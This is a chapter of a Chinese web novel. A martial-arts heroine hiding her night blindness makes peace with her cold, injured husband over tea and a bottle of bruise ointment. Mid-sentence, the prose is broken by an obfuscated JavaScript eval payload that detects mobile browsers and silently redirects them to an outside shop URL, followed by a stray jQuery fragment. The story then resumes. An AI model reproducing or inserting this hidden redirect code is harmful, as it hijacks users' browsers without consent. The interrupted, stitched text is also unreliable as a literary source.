清风居里,又回归了安静。
宋含章拉着顾承安站在海棠树下。她抬起头,看了看西下的斜阳。
她的目光追着那轮日渐沉的太阳,眼底有一丝旁人不易察觉的黯然——天又要黑了,她又要进入一个黑暗的世界了。
每到黄昏,她就会觉得那太阳像是被人从她眼睛里一点一点地偷走的,先是色彩消失,然后是轮廓模糊,最后连光都留不住。
她武功高强,长枪在手能以一敌三,海棠树上能单手托举三十多斤的孩子纹丝不动,九鼎门里流的血和汗铸成了她这身铜皮铁骨。
可在这些坚硬的外壳之下,她却是一个非常善良、简单、至情至性的人。
善良到不计前嫌,简单到心里藏不住话,至情至性到为了一个饼能把人扔上树、又因为一句软话而心软收手。
中午的事,她在心里翻来覆去地想了很多遍——
顾承宇打自己那一掌,其实也不是故意的。当时他的掌风是朝着她的面门来的,她的防御也正好护在面门上——拳掌相交之际,她脚下一滑,身形一歪,那一掌才偏了方向,落在了胸口上。
若是她没有滑倒,那一掌根本碰不到她的衣襟。他不是故意要打她胸口的,更不是故意要让她撞上博古架的。
那一掌打出来的时候,他的眼睛里是愤怒,是自卑,是被逼到绝境时的困兽之斗,不是狠毒。
师父说过,世间之人,要有容人的量。人的心装的应该是万千的丘壑,眉眼藏的应该是绵延的山河。
与别人置气,何尝不是在气自己呢?她跟他置了一下午的气,不接他的药,到头来气的还不是她自己?
她的胸口还是疼,她的额头还是肿,她的心里也并没有因为这场赌气而好受半分。
她又抬起头,看了看这四四方方的天空——清风居的院墙很高,青瓦白墙,飞檐翘角,把天空裁成了一个四四方方的蓝框。
偶尔有几只飞鸟从框里掠过,转瞬便消失在墙外。
她在这四四方方的院子里已经住了两天两夜,觉得这院子虽美——海棠灼灼,紫藤垂垂,青石铺地,花木扶疏——可终究太小了,小得像是被谁关在了一个精致的笼子里。
离开九鼎门之前,师父把她叫到跟前,把手里那把跟了她四十年的宝剑递给她。
剑鞘上刻着“陆瑛”二字,剑身沉甸甸的,握在手里像是握住了一份嘱托。
师父的目光沉静而深远,看着她的眼睛说:“含章,拿起这一把剑。去杀该杀的人,去斩该斩的妖,去保护该保护的人。你的一身武艺不是用来逞强斗狠的,是用来替天行道的。这世道不太平,你就去做那个让世道太平的人。”
她可是在绿水青山之间长大的人。江南的雨、江南的雾、江南的山间清泉和竹林松涛,把她养成了一个骨子里带着风的人。
她本以为自己的剑会饮漠北的风沙,会斩大漠的悍匪,会杀尽烧杀抢掠无恶不作的土匪,会护着那些被铁蹄踏碎的村庄和田地。
可如今,她却生活在这四四方方的院子里,头顶是四四方方的天,脚下是铺得整整齐齐的青石板,院门外是别人定下的规矩——成婚不满三日不能随意外出,新妇不能抛头露面。
她又能去杀谁?去斩谁?去保护谁?师父说的话,她在这里又如何能实现呢?
良久,她的目光落回了书房。书房的窗户上,她望着那扇窗,望着窗里那个隐约的身影,心绪万千。
纸是包不住火的。
同在一个屋檐下,抬头不见低头见。
她在想,自己夜里看不见一事,怕是瞒不了多久,还有自己胃口大一事,怕是也瞒不过顾承宇的眼睛。
她太害怕顾承宇知晓自己眼瞎和胃口大后,露出嫌弃自己的眼神。那眼神,她见过太多次了。
其实,她早已不在乎。可不知为何,她不害怕其他人厌恶自己,就是害怕顾承宇厌恶自己。
她害怕,因为他在海棠树上轻轻抚摸她额头上那两个包时,那种小心翼翼、如同在触碰一件随时会碎掉的瓷器般的温柔。还有在沈府假山后,他递给自己手帕时的善意。
这些温柔和善意,是她这辈子一直渴求之物。
她怕得到之后再失去。她怕那双冰冷的眼睛一旦浮上嫌弃,会比任何人的目光都更让她痛。
她不怕刀,不怕枪,不怕独面如云的高手,可她怕顾承宇厌恶自己、嫌弃自己。
这种感觉,她从未有过。以前在九鼎门她什么都不怕,怎么在顾家提亲后,她忽然生出害怕,到了这清风居里,这种害怕更加强烈。
突然,她想起中午自己要查看顾承宇的腿伤时,他眼里那一闪而过的害怕、恐惧和自卑。
那双一向冷得像冰的眼睛,在她伸手去撩他裤腿的那一刻,竟然露出了那样脆弱的神色——就像一只受了重伤的野兽,在护着自己最后的伤口,不让任何人靠近。
他害怕她看了他的腿,是不是就像她害怕他发现她是夜瞎子和胃口大一样?
他害怕她看见他的不堪,她也害怕他看见她的残缺。
他们都在小心翼翼地藏着各自的秘密,用冷言冷语和张扬的笑容筑起一道又一道的墙。
说到底,他们不过是同一种人——都曾被这个世界狠狠地伤过,都害怕再次被嫌弃。
他们都把伤口藏了起来,都不敢让对方看见自己不体面的那一面。他们都以为藏住了,对方就看不见了。
可伤口是藏不住的——她额头上的包藏不住,他腿上的伤疤也藏不住。
他们都只是在自欺欺人罢了。
突然,她觉得这些事好复杂。
什么夫妻之道,什么坦诚相待,什么怕对方嫌弃,什么赌气又和好——她越想越头疼。
在九鼎门的时候,日子多简单:天亮了练功,天黑了睡觉,饿了吃饭,疼了喊师父和师兄。
可这京城里的人,心思都像是九曲回廊,绕来绕去,没个尽头。
她伸手抚着额头,手指却不小心碰到了额头上那两个鼓起的包,疼得她轻轻吸了一口气。
然后她想起了明日归宁一事。
难道明日真的要顶着这两个包回去吗?一左一右,对称得很。春夏看见了,怕是又要撸起袖子来找顾承宇拼命。
她顿时好后悔自己赌气,把那一瓶药还给了顾承宇。那药一闻就知道是好东西,太医院的手笔,用料考究,消肿化瘀效果肯定比她自己胡乱抹的什么草膏好。
可她偏要赌气,偏要争那一口气,现在好了,药在书房里,包在自己额头上,懊悔在心里堵着。
可是,她宋含章是什么人——那可是能屈能伸之人。当年在九鼎门,为了跟师兄学一套拳法,她能在他门前蹲三天,帮他洗衣服、砍柴直到他松口为止。
不过就是去跟顾承宇讨一瓶药嘛,有什么大不了的。能屈能伸,才是真英雄。大不了,她给他道个歉,说几句软话。
随后,她蹲下,拍了拍顾承安衣服上的花瓣。
“承安,去厨房找招财哥哥,让他给你鸡腿吃。嫂嫂有点事,等会儿再来找你玩。”
顾承安乖巧地点点头,迈着小短腿朝厨房跑去。
她转身去了茶房。
茶房的小火炉上还温着一壶水,热气袅袅。她仔细洗了手,从茶罐里拈了几朵干菊花放进茶盏里——这一盏她没有再加自己的血,只是单纯的菊花茶,清清淡淡的。
注入滚水,待到茶汤微□□香漫出,她才端着那盏茶,朝着书房走去。
书房里,顾承宇正提笔在纸上写下“飞虎”两个字。墨迹未干,字迹冷峻而凌厉,笔画之间透着一股肃杀之气。
他搁下笔,正端详着这两个字,忽然听到了一阵风声——不是风穿过窗棂的那种风,是裙裾带起的风,轻快而急促,裹着他忘不掉的香。
宋含章端着一盏茶,卷进了书房,卷到了书案前。她把茶盏轻轻放在书案上,然后手肘撑在桌面上,双手托着腮,歪着头,看着顾承宇。
她的眼神坦坦荡荡,又含情脉脉——那两样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808920|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
东西在她眼睛里竟然毫不违和,坦荡得像是不会藏心事的孩子,又含情得像是会让人心甘情愿沉溺的深潭。
顾承宇抬起头,又是那一张让人移不开眼的脸,又是那一双能把他吸进去的眼睛。
他看着她托腮歪头的模样,看着她眼角眉梢带着的那一抹若有若无的笑,心里那根弦又绷了起来。
宋含章微微一笑,那笑容里带着几分狡黠,几分真诚,还有几分只有她自己才知道的小心翼翼,声音清清脆脆的。
“夫君,我们和好吧。今日中午的确是我不对——我想关心你,可是没有用对方法。就如同夏日送棉袄,冬日送蒲扇,心是好的,却不合时宜。你放心,以后我绝对不会用这种你讨厌的方式关心你了。你不喜欢我看你的腿,我就不看;你不喜欢我靠近你,我就坐远一点。你说什么,我便听什么。”
顾承宇看着宋含章那双湿漉漉的眼睛里藏着的狡黠——那狡黠极淡极浅,藏在诚恳的底色之下,像是清澈水底一闪而过的鱼。
阅人无数的他岂能不知道这个小东西真正想要的是什么——她不是来道歉的,她是来讨药的。
说了这么多软话,绕了这么大一个圈子,不过是为了明日归宁时额头上那两个包能消下去。他放下手中的笔,靠在椅背上,冷冷地吐出几个字。
“不要废话。”
宋含章听了,嘴角的笑意便再也藏不住了。
那笑意从嘴角开始蔓延,一路肆无忌惮地漫过脸颊,漫过眼角,漫过眉梢。她不装了,摊牌了,直接摊牌了。
“夫君,明日我归宁,总不能顶着这两个包包回去吧。娘家人看到了会怎么想?以为我在婆家挨了打——好吧,确实是挨了打,可我不想让人知道。看在我原谅你的份上,把那一瓶药给我吧。你不吃亏——我用一盏菊花茶换你一瓶药膏,等价交换。”
顾承宇看着她那笑眼迷人的模样,听着她那一连串软中带硬的话,心里那道防线又悄无声息地塌了一块。
他沉默了片刻,声音比方才微微软了一些。
“过来。”
宋含章听了,嘴里一声“好嘞”话音未落,人已经闪到了顾承宇身边。
她的身法太快,快到顾承宇只觉得眼前一花,她就已经站在了他右手边的椅子旁,双手背在身后,微微弯着腰,等着他的下一步指示。
顾承宇用下巴指了指身旁的凳子,说:“坐下。”
宋含章立马坐下。
她坐得很端正,双手搁在膝盖上,挺直了腰背,仰起脸,把那两个青紫色的包完全暴露在顾承宇的视线里。
顾承宇拿起放在书案上的青瓷药瓶,拔开塞子。一股清冽的药香弥漫开来。
他俯身靠近她,一手捞开她的额前的发丝,一手指尖沾了药膏,极其轻地落在她额头右侧的那个旧包上,他的手指以极轻极缓的力道将药膏揉开,一圈一圈地打着旋,让药力渗进淤血里。
他一边涂,一边低声问:“疼吗?”
她说:“额头不疼,就是胸口还有些疼。你那一掌真不轻。”
他并未说话,他又沾取药膏涂抹左边的包。
忽然,她换了话题,声音变得认真起来。
“夫君,你能不能不要处罚招财、黑鹰和夜鹰他们?他们护着你,你应该很高兴、很幸福才是。”
“人活一世,有几个人能这样护着你、疼着你、处处为你着想?他们三个都是忠心的,打心眼儿里把你当成比自己命还重要的人。有人护着,有人疼着,有人偏爱着,是上苍赐予的福分。这样的福分不是人人都有的,你得珍惜。”
他听了,手停了下来,看着她坦坦荡荡的眼神。
此时,她的眼睛里竟然带着一丝忧伤——那忧伤淡淡的,却很深,像是藏在湖底的暗流。
他心里微微一动,不知道她这份忧伤从何而来,可他能感觉到,她说出“有人护着、疼着、偏爱着”这句话的时候,心里想的一定是另外一些人,另外一些她没有护住、或者没能护住她、偏爱她的人。